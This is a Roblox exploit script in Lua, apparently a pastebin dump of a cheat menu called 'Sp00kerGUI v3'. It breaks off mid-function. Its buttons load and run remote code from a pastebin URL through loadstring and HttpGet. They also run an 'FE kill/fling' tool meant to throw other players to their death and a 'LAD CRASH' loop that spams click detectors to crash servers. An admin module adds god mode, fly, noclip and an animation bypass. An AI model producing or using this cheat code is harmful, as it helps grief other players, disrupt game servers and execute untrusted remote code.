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- ScreenGui = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local TextLabel = Instance.new("TextLabel")
- local Infiniteyield = Instance.new("TextButton")
- local FEkillfling = Instance.new("TextButton")
- local Boom = Instance.new("TextButton")
- local PrisonLifeGUI = Instance.new("TextButton")
- local DANCETILLYOUREDEAD = Instance.new("TextButton")
- --Properties:
- ScreenGui.Parent = game.CoreGui
- ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- Frame.Parent = ScreenGui
- Frame.BackgroundColor3 = Color3.new(0.333333, 0, 0.498039)
- Frame.Position = UDim2.new(0.115264796, 0, 0.274135888, 0)
- Frame.Size = UDim2.new(0, 381, 0, 172)
- Frame.Active = true
- Frame.Draggable = true
- TextLabel.Parent = Frame
- TextLabel.BackgroundColor3 = Color3.new(0.666667, 0.333333, 1)
- TextLabel.Size = UDim2.new(0, 381, 0, 50)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.Text = "Sp00kerGUI v3"
- TextLabel.TextColor3 = Color3.new(0, 0, 0)
- TextLabel.TextSize = 14
- Infiniteyield.Name = "Infinite Yield"
- Infiniteyield.Parent = Frame
- Infiniteyield.BackgroundColor3 = Color3.new(0.333333, 0, 1)
- Infiniteyield.Position = UDim2.new(0, 0, 0.290697664, 0)
- Infiniteyield.Size = UDim2.new(0, 72, 0, 50)
- Infiniteyield.Font = Enum.Font.SourceSans
- Infiniteyield.Text = "Infinite Yield"
- Infiniteyield.TextColor3 = Color3.new(0, 0, 0)
- Infiniteyield.TextScaled = true
- Infiniteyield.TextSize = 14
- Infiniteyield.TextWrapped = true
- Infiniteyield.MouseButton1Down:connect(function()
- loadstring(game:HttpGet(('https://pastebin.com/raw/tzTXmYf2'),true))()
- end)
- FEkillfling.Name = "FE kill/fling"
- FEkillfling.Parent = Frame
- FEkillfling.BackgroundColor3 = Color3.new(1, 1, 1)
- FEkillfling.Position = UDim2.new(0.404199481, 0, 0.290697664, 0)
- FEkillfling.Size = UDim2.new(0, 72, 0, 50)
- FEkillfling.Font = Enum.Font.SourceSans
- FEkillfling.Text = "FE kill/fling"
- FEkillfling.TextColor3 = Color3.new(0, 0, 0)
- FEkillfling.TextSize = 14
- FEkillfling.MouseButton1Click:connect(function()
- -- Made By JackMcJagger15
- local FlingKill = Instance.new("ScreenGui")
- local Main = Instance.new("Frame")
- local Label = Instance.new("Frame")
- local Shadow = Instance.new("Frame")
- local StartKill = Instance.new("TextButton")
- local StopKill = Instance.new("TextButton")
- local Instructions = Instance.new("TextLabel")
- local CurrentPower = Instance.new("TextLabel")
- local Recomendation = Instance.new("TextLabel")
- local NameOfGui = Instance.new("TextLabel")
- local Exit = Instance.new("TextButton")
- local UPArrow = Instance.new("TextButton")
- local DownArrow = Instance.new("TextButton")
- -- Properties
- FlingKill.Name = "Fling/Kill"
- FlingKill.Parent = game.CoreGui
- Main.Name = "Main"
- Main.Parent = FlingKill
- Main.BackgroundColor3 = Color3.new(0.92549, 0.941177, 0.945098)
- Main.BorderSizePixel = 0
- Main.Position = UDim2.new(0.702554762, 0, 0.446640313, 0)
- Main.Size = UDim2.new(0, 217, 0, 233)
- Main.Selectable = true
- Main.Active = true
- Main.Draggable = true
- Label.Name = "Label"
- Label.Parent = Main
- Label.BackgroundColor3 = Color3.new(0.741176, 0.764706, 0.780392)
- Label.BorderSizePixel = 0
- Label.Size = UDim2.new(0, 217, 0, 27)
- Shadow.Name = "Shadow"
- Shadow.Parent = Main
- Shadow.BackgroundColor3 = Color3.new(0.67451, 0.694118, 0.705882)
- Shadow.BorderSizePixel = 0
- Shadow.Position = UDim2.new(0, 0, 0.115879826, 0)
- Shadow.Size = UDim2.new(0, 217, 0, 9)
- StartKill.Name = "StartKill"
- StartKill.Parent = Main
- StartKill.BackgroundColor3 = Color3.new(0.741176, 0.764706, 0.780392)
- StartKill.BorderSizePixel = 0
- StartKill.Position = UDim2.new(0.195852548, 0, 0.227467805, 0)
- StartKill.Size = UDim2.new(0, 126, 0, 23)
- StartKill.Font = Enum.Font.Cartoon
- StartKill.Text = "FE Kill/Fling"
- StartKill.TextColor3 = Color3.new(0, 0, 0)
- StartKill.TextSize = 14
- StopKill.Name = "StopKill"
- StopKill.Parent = Main
- StopKill.BackgroundColor3 = Color3.new(0.741176, 0.764706, 0.780392)
- StopKill.BorderSizePixel = 0
- StopKill.Position = UDim2.new(0.207373276, 0, 0.38197428, 0)
- StopKill.Size = UDim2.new(0, 124, 0, 23)
- StopKill.Font = Enum.Font.Cartoon
- StopKill.Text = "Stop FE Kill/Fling"
- StopKill.TextColor3 = Color3.new(0, 0, 0)
- StopKill.TextSize = 14
- Instructions.Name = "Instructions"
- Instructions.Parent = Main
- Instructions.BackgroundColor3 = Color3.new(1, 1, 1)
- Instructions.BackgroundTransparency = 1
- Instructions.Position = UDim2.new(0.0391705073, 0, 0.549356222, 0)
- Instructions.Size = UDim2.new(0, 200, 0, 32)
- Instructions.Font = Enum.Font.Cartoon
- Instructions.Text = "Just touch someone to watch the fly to their death!"
- Instructions.TextColor3 = Color3.new(0, 0, 0)
- Instructions.TextSize = 14
- Instructions.TextWrapped = true
- CurrentPower.Name = "CurrentPower"
- CurrentPower.Parent = Main
- CurrentPower.BackgroundColor3 = Color3.new(1, 1, 1)
- CurrentPower.BackgroundTransparency = 1
- CurrentPower.Position = UDim2.new(0.276497692, 0, 0.686695278, 0)
- CurrentPower.Size = UDim2.new(0, 98, 0, 36)
- CurrentPower.Font = Enum.Font.Cartoon
- CurrentPower.Text = "Current Power = 5"
- CurrentPower.TextColor3 = Color3.new(0, 0, 0)
- CurrentPower.TextSize = 14
- Recomendation.Name = "Recomendation"
- Recomendation.Parent = Main
- Recomendation.BackgroundColor3 = Color3.new(1, 1, 1)
- Recomendation.BackgroundTransparency = 1
- Recomendation.Position = UDim2.new(0.0414746553, 0, 0.884120166, 0)
- Recomendation.Size = UDim2.new(0, 200, 0, 21)
- Recomendation.Font = Enum.Font.Cartoon
- Recomendation.Text = "Recommended Power is 5"
- Recomendation.TextColor3 = Color3.new(0, 0, 0)
- Recomendation.TextSize = 14
- NameOfGui.Name = "NameOfGui"
- NameOfGui.Parent = Main
- NameOfGui.BackgroundColor3 = Color3.new(1, 1, 1)
- NameOfGui.BackgroundTransparency = 1
- NameOfGui.Position = UDim2.new(0.0806451589, 0, 0, 0)
- NameOfGui.Size = UDim2.new(0, 154, 0, 27)
- NameOfGui.Font = Enum.Font.Cartoon
- NameOfGui.Text = "FE Kill/Fling By JackMcJagger15"
- NameOfGui.TextColor3 = Color3.new(0, 0, 0)
- NameOfGui.TextSize = 14
- Exit.Name = "Exit"
- Exit.Parent = Main
- Exit.BackgroundColor3 = Color3.new(1, 1, 1)
- Exit.BackgroundTransparency = 1
- Exit.Position = UDim2.new(0.907834113, 0, 0, 0)
- Exit.Size = UDim2.new(0, 20, 0, 27)
- Exit.Font = Enum.Font.Cartoon
- Exit.Text = "X"
- Exit.TextColor3 = Color3.new(0, 0, 0)
- Exit.TextSize = 14
- UPArrow.Name = "UPArrow"
- UPArrow.Parent = Main
- UPArrow.BackgroundColor3 = Color3.new(1, 1, 1)
- UPArrow.BackgroundTransparency = 1
- UPArrow.Position = UDim2.new(0.0783410147, 0, 0.716738224, 0)
- UPArrow.Size = UDim2.new(0, 26, 0, 23)
- UPArrow.Font = Enum.Font.Cartoon
- UPArrow.Text = "Up"
- UPArrow.TextColor3 = Color3.new(0, 0, 0)
- UPArrow.TextSize = 12
- UPArrow.TextWrapped = true
- DownArrow.Name = "DownArrow"
- DownArrow.Parent = Main
- DownArrow.BackgroundColor3 = Color3.new(1, 1, 1)
- DownArrow.BackgroundTransparency = 1
- DownArrow.Position = UDim2.new(0.792626739, 0, 0.714592278, 0)
- DownArrow.Size = UDim2.new(0, 26, 0, 23)
- DownArrow.Font = Enum.Font.Cartoon
- DownArrow.Text = "Down"
- DownArrow.TextColor3 = Color3.new(0, 0, 0)
- DownArrow.TextSize = 12
- DownArrow.TextWrapped = true
- power = 500
- active = false
- local val = Instance.new("IntValue")
- val.Name = "Number"
- val.Parent = game.Players.LocalPlayer
- val.Value = 5
- Exit.MouseButton1Click:connect(function()
- FlingKill.Enabled = false
- end)
- StartKill.MouseButton1Click:connect(function()
- game:GetService('RunService').Stepped:connect(function()
- if game.Players.LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.Torso.CanCollide = false
- game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
- game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
- else
- if game.Players.LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.UpperTorso.CanCollide = false
- game.Players.LocalPlayer.Character.LowerTorso.CanCollide = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
- end
- end
- end)
- wait(.1)
- local bambam = Instance.new("BodyThrust")
- bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
- bambam.Force = Vector3.new(power,0,power)
- bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
- end)
- StopKill.MouseButton1Click:connect(function()
- active = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:Remove()
- end)
- UPArrow.MouseButton1Click:connect(function()
- power = power + 100
- game.Players.LocalPlayer.Number.Value = game.Players.LocalPlayer.Number.Value + 1
- CurrentPower.Text = "Current Power = " .. game.Players.LocalPlayer.Number.Value
- end)
- DownArrow.MouseButton1Click:connect(function()
- power = power - 100
- game.Players.LocalPlayer.Number.Value = game.Players.LocalPlayer.Number.Value - 1
- CurrentPower.Text = "Current Power = " .. game.Players.LocalPlayer.Number.Value
- end)
- end)
- Boom.Name = "Boom"
- Boom.Parent = Frame
- Boom.BackgroundColor3 = Color3.new(1, 0, 0.498039)
- Boom.Position = UDim2.new(0.811023593, 0, 0.290697664, 0)
- Boom.Size = UDim2.new(0, 72, 0, 50)
- Boom.Font = Enum.Font.SourceSans
- Boom.Text = "LAD CRASH"
- Boom.TextColor3 = Color3.new(0, 0, 0)
- Boom.TextSize = 14
- Boom.MouseButton1Down:connect(function()
- --by builderboy256
- local shits = {}
- local fireclick = fireclickdetector or click_detector
- for i,v in next, workspace:GetDescendants() do
- if v:IsA("ClickDetector") then
- if string.find(v:GetFullName():lower(), "giver") then
- table.insert(shits, v)
- end
- end
- end
- while true do
- wait(0.05)
- for i,v in next, shits do
- fireclick(v)
- end
- for i,v in next, game.Players.LocalPlayer.Backpack:children() do
- if v:IsA("Tool") then
- v.GripPos = Vector3.new(math.random(-50, 50), math.random(1, 10), math.random(-50, 50))
- v.Parent = game.Players.LocalPlayer.Character
- repeat game["Run Service"].Stepped:Wait() until v.Parent == game.Players.LocalPlayer.Character
- --v:Destroy()
- end
- end
- --game.Players.LocalPlayer.PlayerGui:ClearAllChildren()
- end
- end)
- PrisonLifeGUI.Name = "parkour script R6"
- PrisonLifeGUI.Parent = Frame
- PrisonLifeGUI.BackgroundColor3 = Color3.new(1, 1, 0.498039)
- PrisonLifeGUI.Position = UDim2.new(0, 0, 0.709302306, 0)
- PrisonLifeGUI.Size = UDim2.new(0, 72, 0, 50)
- PrisonLifeGUI.Font = Enum.Font.SourceSans
- PrisonLifeGUI.Text = "part 1"
- PrisonLifeGUI.TextColor3 = Color3.new(0, 0, 0)
- PrisonLifeGUI.TextSize = 14
- PrisonLifeGUI.MouseButton1Click:connect(function()
- ack = game.Players.LocalPlayer
- plr = ack
- prefix = ";" -- dont leave empty
- -- somethings made by Timeless/xFunnieuss and GreenFace
- local SVersion = "1.0"
- local saved
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Welcome to SSAdmin Public, "..ack.Name..".","All")
- local commands = [[
- suchat (message)
- prefix (prefix)
- creeper
- sticky
- invisible
- tall
- goto (player)
- fly
- unfly
- god
- ungod
- speed [walkspeed]
- jp [jumppower]
- sit
- blockhead
- commandbar
- drophats
- blockhats
- respawn
- noclip
- clip
- !rejoin
- savepos
- loadpos
- animbypass
- memeus
- krystal
- starg
- reset
- memeanims
- caramelldance
- spectrumglitcher
- dex
- hugkill
- ]]
- --ADMIN ANIMATION \/\/
- ScreenGui = Instance.new("ScreenGui")
- Frame = Instance.new("Frame")
- ImageLabel = Instance.new("ImageLabel")
- TextLabel = Instance.new("TextLabel")
- ScreenGui.Parent = game.CoreGui
- Frame.Parent = ScreenGui
- Frame.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame.BackgroundTransparency = 1
- Frame.Position = UDim2.new(0.5, 0, -3, 0)
- Frame.Rotation = 50
- Frame.Size = UDim2.new(0, 100, 0, 347)
- ImageLabel.Parent = Frame
- ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- ImageLabel.BorderSizePixel = 0
- ImageLabel.Position = UDim2.new(-1.24056208, 0, 0.377088577, 0)
- ImageLabel.Rotation = -90
- ImageLabel.Size = UDim2.new(0, 347, 0, 100)
- ImageLabel.Image = "rbxassetid://1300917674"
- TextLabel.Parent = Frame
- TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel.BackgroundTransparency = 1
- TextLabel.Position = UDim2.new(-0.587398052, 0, 0.411570877, 0)
- TextLabel.Rotation = -90
- TextLabel.Size = UDim2.new(0, 189, 0, 50)
- TextLabel.Font = Enum.Font.Gotham
- TextLabel.FontSize = Enum.FontSize.Size14
- TextLabel.Text = "SS"
- TextLabel.TextColor3 = Color3.new(0, 0, 0)
- TextLabel.TextScaled = true
- TextLabel.TextSize = 14
- TextLabel.TextWrapped = true
- Frame:TweenPosition(UDim2.new(0.5, 0, 0.13, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Bounce, 3)
- wait(3)
- Frame:TweenPosition(UDim2.new(0.5, 0, 0.26, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Bounce, 1.6)
- for i = 50,90 do
- Frame.Rotation = i
- wait(0.005)
- end
- wait(3)
- ImageLabel:TweenSize(UDim2.new(0, 347, 0, 347))
- TextLabel:TweenSize(UDim2.new(0, 189, 0, 189))
- wait(2.5)
- for i = 0,100 do
- ImageLabel.ImageTransparency = i * 0.01
- ImageLabel.BackgroundTransparency = 1
- TextLabel.TextTransparency = i * 0.01
- wait(0.01)
- end
- ScreenGui:Destroy()
- noclip = false
- game:GetService('RunService').Stepped:connect(function()
- if game.Players.LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 and noclip then
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.Torso.CanCollide = false
- game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
- game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
- else
- if game.Players.LocalPlayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 and noclip then
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- game.Players.LocalPlayer.Character.UpperTorso.CanCollide = false
- game.Players.LocalPlayer.Character.LowerTorso.CanCollide = false
- game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
- end
- end
- game.Players.LocalPlayer.Character.Tors.CanCollide = false
- game.Players.LocalPlayer.Character.Head.CanCollide = false
- end)
- local humclone
- local fold = game.Players.LocalPlayer
- local godded = false
- local hum = plr.Character:FindFirstChildOfClass("Humanoid")
- game.StarterGui:SetCore("SendNotification", {Title = "SSAdmin Loaded!";Text = "Type cmds for commands\nSSVersion: "..SVersion;Icon = "rbxassetid://945900165";Duration = 2})
- function cmdlist()
- -- Farewell Infortality.
- -- Version: 3.0
- -- Instances:
- if (game.Players.LocalPlayer.PlayerGui:FindFirstChild("cmdlistlol")) then
- game.Players.LocalPlayer.PlayerGui:FindFirstChild("cmdlistlol"):Destroy()
- end
- local cmdlistlol = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local Name = Instance.new("TextLabel")
- local CloseButton = Instance.new("TextButton")
- local ScrollingFrame = Instance.new("ScrollingFrame")
- local TextLabel = Instance.new("TextLabel")
- --Properties:
- cmdlistlol.Name = "cmdlistlol"
- cmdlistlol.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- cmdlistlol.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- Frame.Parent = cmdlistlol
- Frame.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame.Position = UDim2.new(0.107340172, 0, 0.228404105, 0)
- Frame.Size = UDim2.new(0, 235, 0, 294)
- Frame.BorderSizePixel = 0
- Name.Name = "Name"
- Name.Parent = Frame
- Name.BackgroundColor3 = Color3.new(1, 1, 1)
- Name.Size = UDim2.new(0, 170, 0, 29)
- Name.Font = Enum.Font.SourceSans
- Name.Text = "SSAdmin CmdList"
- Name.TextColor3 = Color3.new(0, 0, 0)
- Name.TextSize = 14
- Name.BorderSizePixel = 0
- CloseButton.Name = "CloseButton"
- CloseButton.Parent = Frame
- CloseButton.BackgroundColor3 = Color3.new(1, 1, 1)
- CloseButton.Position = UDim2.new(0.723404229, 0, 0, 0)
- CloseButton.Size = UDim2.new(0, 65, 0, 29)
- CloseButton.Font = Enum.Font.SourceSans
- CloseButton.Text = "Close"
- CloseButton.TextColor3 = Color3.new(0, 0, 0)
- CloseButton.TextSize = 14
- CloseButton.BorderSizePixel = 0
- ScrollingFrame.Parent = Frame
- ScrollingFrame.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
- ScrollingFrame.Position = UDim2.new(0, 0, 0.0986394584, 0)
- ScrollingFrame.Size = UDim2.new(0, 235, 0, 265)
- ScrollingFrame.BorderSizePixel = 0
- TextLabel.Parent = ScrollingFrame
- TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel.BackgroundTransparency = 1
- TextLabel.Size = UDim2.new(0, 222, 0, 491)
- TextLabel.Text = commands
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.TextColor3 = Color3.new(0, 0, 0)
- TextLabel.TextSize = 14
- TextLabel.BorderSizePixel = 0
- CloseButton.MouseButton1Click:connect(function()
- cmdlistlol:Destroy()
- end)
- end
- function animbypass()
- rs = game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Clone()
- game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Destroy()
- rs.Parent = game.Players.LocalPlayer.Character.Torso
- rs.Part0 = game.Players.LocalPlayer.Character.Torso
- rs.Part1 = game.Players.LocalPlayer.Character["Right Arm"]:Clone()
- game.Players.LocalPlayer.Character["Right Arm"].Name = "ra"
- rs.Part1.Parent = game.Players.LocalPlayer.Character
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Right Arm"])
- local rightarm = Instance.new("Attachment", game.Players.LocalPlayer.Character["ra"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character["Right Arm"])
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- ls = game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Clone()
- game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Destroy()
- ls.Parent = game.Players.LocalPlayer.Character.Torso
- ls.Part0 = game.Players.LocalPlayer.Character.Torso
- ls.Part1 = game.Players.LocalPlayer.Character["Left Arm"]:Clone()
- game.Players.LocalPlayer.Character["Left Arm"].Name = "la"
- ls.Part1.Parent = game.Players.LocalPlayer.Character
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Left Arm"])
- local rightarm = Instance.new("Attachment", game.Players.LocalPlayer.Character["la"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character["Left Arm"])
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- rh = game.Players.LocalPlayer.Character.Torso["Right Hip"]:Clone()
- game.Players.LocalPlayer.Character.Torso["Right Hip"]:Destroy()
- rh.Parent = game.Players.LocalPlayer.Character.Torso
- rh.Part0 = game.Players.LocalPlayer.Character.Torso
- rh.Part1 = game.Players.LocalPlayer.Character["Right Leg"]:Clone()
- game.Players.LocalPlayer.Character["Right Leg"].Name = "rh"
- rh.Part1.Parent = game.Players.LocalPlayer.Character
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Right Leg"])
- local rightarm = Instance.new("Attachment", game.Players.LocalPlayer.Character["rh"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character["Right Leg"])
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- lh = game.Players.LocalPlayer.Character.Torso["Left Hip"]:Clone()
- game.Players.LocalPlayer.Character.Torso["Left Hip"]:Destroy()
- lh.Parent = game.Players.LocalPlayer.Character.Torso
- lh.Part0 = game.Players.LocalPlayer.Character.Torso
- lh.Part1 = game.Players.LocalPlayer.Character["Left Leg"]:Clone()
- game.Players.LocalPlayer.Character["Left Leg"].Name = "lh"
- lh.Part1.Parent = game.Players.LocalPlayer.Character
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Left Leg"])
- local rightarm = Instance.new("Attachment", game.Players.LocalPlayer.Character["lh"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character["Left Leg"])
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- r = game.Players.LocalPlayer.Character.HumanoidRootPart["RootJoint"]:Clone()
- game.Players.LocalPlayer.Character.HumanoidRootPart["RootJoint"]:Destroy()
- r.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
- r.Part0 = game.Players.LocalPlayer.Character.HumanoidRootPart
- r.Part1 = Instance.new("Part", game.Players.LocalPlayer.Character)
- r.Part1.Size = Vector3.new(2,2,1)
- r.Part1.Name = "Tors"
- r.Part1.Parent = game.Players.LocalPlayer.Character
- r.Part1.Transparency = 1
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Tors)
- local rightarm = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Tors)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- char = game.Players.LocalPlayer.Character
- repeat wait()until char:FindFirstChildOfClass("Accessory")
- wait(0.1)
- for i,v in pairs (char:GetChildren()) do
- if v:IsA("Accessory") and v:FindFirstChild("Handle") and v:FindFirstChild("Handle"):FindFirstChild("AccessoryWeld").Part1 == char.Head then
- local Attachment0 = Instance.new("Attachment", char.Head)
- local rightarm = Instance.new("Attachment", v.Handle)
- local ol = Instance.new("HingeConstraint", char.Head)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = rightarm
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- rightarm.CFrame = v.AttachmentPoint + Vector3.new(0, -0.5, 0)
- v.Handle.AccessoryWeld:Destroy()
- end
- end
- spawn(function()
- repeat
- game:GetService("RunService").RenderStepped:Wait()
- char.Torso.CFrame = char.Tors.CFrame
- char.lh.CFrame = char["Left Leg"].CFrame
- char.rh.CFrame = char["Right Leg"].CFrame
- char.la.CFrame = char["Left Arm"].CFrame
- char.ra.CFrame = char["Right Arm"].CFrame
- until char.Humanoid.Health <= 0
- end)
- end
- function god()
- if godded == false then
- godded = true
- humclone = Instance.new("Humanoid")
- hum.Parent = fold
- humclone.Parent = plr.Character
- end
- end
- function ungod()
- if godded == true then
- godded = false
- humclone:Destroy()
- hum.Parent = plr.Character
- end
- end
- game.Players.LocalPlayer.CharacterAdded:connect(function()
- _G.FLYING = false
- end)
- _G.FLYING = false
- local LP = game:service('Players').LocalPlayer
- local T = LP.Character.Head
- local CONTROL = {F = 0, B = 0, L = 0, R = 0}
- local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- local SPEED = 5
- local MOUSE = LP:GetMouse()
- local function FLY()
- _G.FLYING = true
- T = LP.Character.Head
- local BG = Instance.new('BodyGyro', T)
- local BV = Instance.new('BodyVelocity', T)
- BG.P = 9e4
- BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- BG.cframe = T.CFrame
- BV.velocity = Vector3.new(0, 0.1, 0)
- BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
- spawn(function()
- repeat wait()
- T = LP.Character.Head
- LP.Character.Humanoid.PlatformStand = true
- if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
- SPEED = 50
- elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
- SPEED = 0
- end
- if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
- BV.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
- elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
- BV.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
- else
- BV.velocity = Vector3.new(0, 0.1, 0)
- end
- BG.cframe = game.Workspace.CurrentCamera.CoordinateFrame
- until not _G.FLYING
- CONTROL = {F = 0, B = 0, L = 0, R = 0}
- lCONTROL = {F = 0, B = 0, L = 0, R = 0}
- SPEED = 0
- BG:destroy()
- BV:destroy()
- LP.Character.Humanoid.PlatformStand = false
- end)
- end
- MOUSE.KeyDown:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 1
- elseif KEY:lower() == 's' then
- CONTROL.B = -1
- elseif KEY:lower() == 'a' then
- CONTROL.L = -1
- elseif KEY:lower() == 'd' then
- CONTROL.R = 1
- end
- end)
- MOUSE.KeyUp:connect(function(KEY)
- if KEY:lower() == 'w' then
- CONTROL.F = 0
- elseif KEY:lower() == 's' then
- CONTROL.B = 0
- elseif KEY:lower() == 'a' then
- CONTROL.L = 0
- elseif KEY:lower() == 'd' then
- CONTROL.R = 0
- end
- end)
- --FLY()
- function GetPlayer(String) -- Credit to Timeless/xFunnieuss
- local Found = {}
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():sub(1, #String) == String:lower() then
- table.insert(Found,v)
- end
- end
- return Found
- end
- function tall()
- pcall(function()
- game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Destroy()
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Left Arm"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(-0.5, 3.7, 0)
- game.Players.LocalPlayer.Character.Humanoid.HipHeight = 1.7
- game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Destroy()
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Right Arm"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(0.5, 3.7, 0)
- game.Players.LocalPlayer.Character.Animate.Disabled = true
- end)
- end
- function sticky()
- -- fe sticky (cant touch other playeers)
- -- you need unanchored objects so i recommend game with a bunch of them to steal!
- -- or just spawn hats to mess with idk
- for i,v in pairs (game.Players.LocalPlayer.Character:GetChildren()) do
- if v.ClassName == "Part" or v.ClassName == "MeshPart" then
- v.Touched:connect(function(hit)
- if hit.Anchored == false then
- if not hit.Parent:FindFirstChild("Humanoid")and not hit:FindFirstChild("ooh") then
- if not hit.Parent:FindFirstChildOfClass("Humanoid") and not hit.Parent.Parent:FindFirstChildOfClass("Humanoid") then
- --hit.CanCollide = false
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", hit)
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- Attachment1.Name = "ooh"
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(0, 0, hit.Size.Z * 2)
- end
- end
- end
- end)
- end
- end
- end
- function schat(text)
- for i = 0,5 do
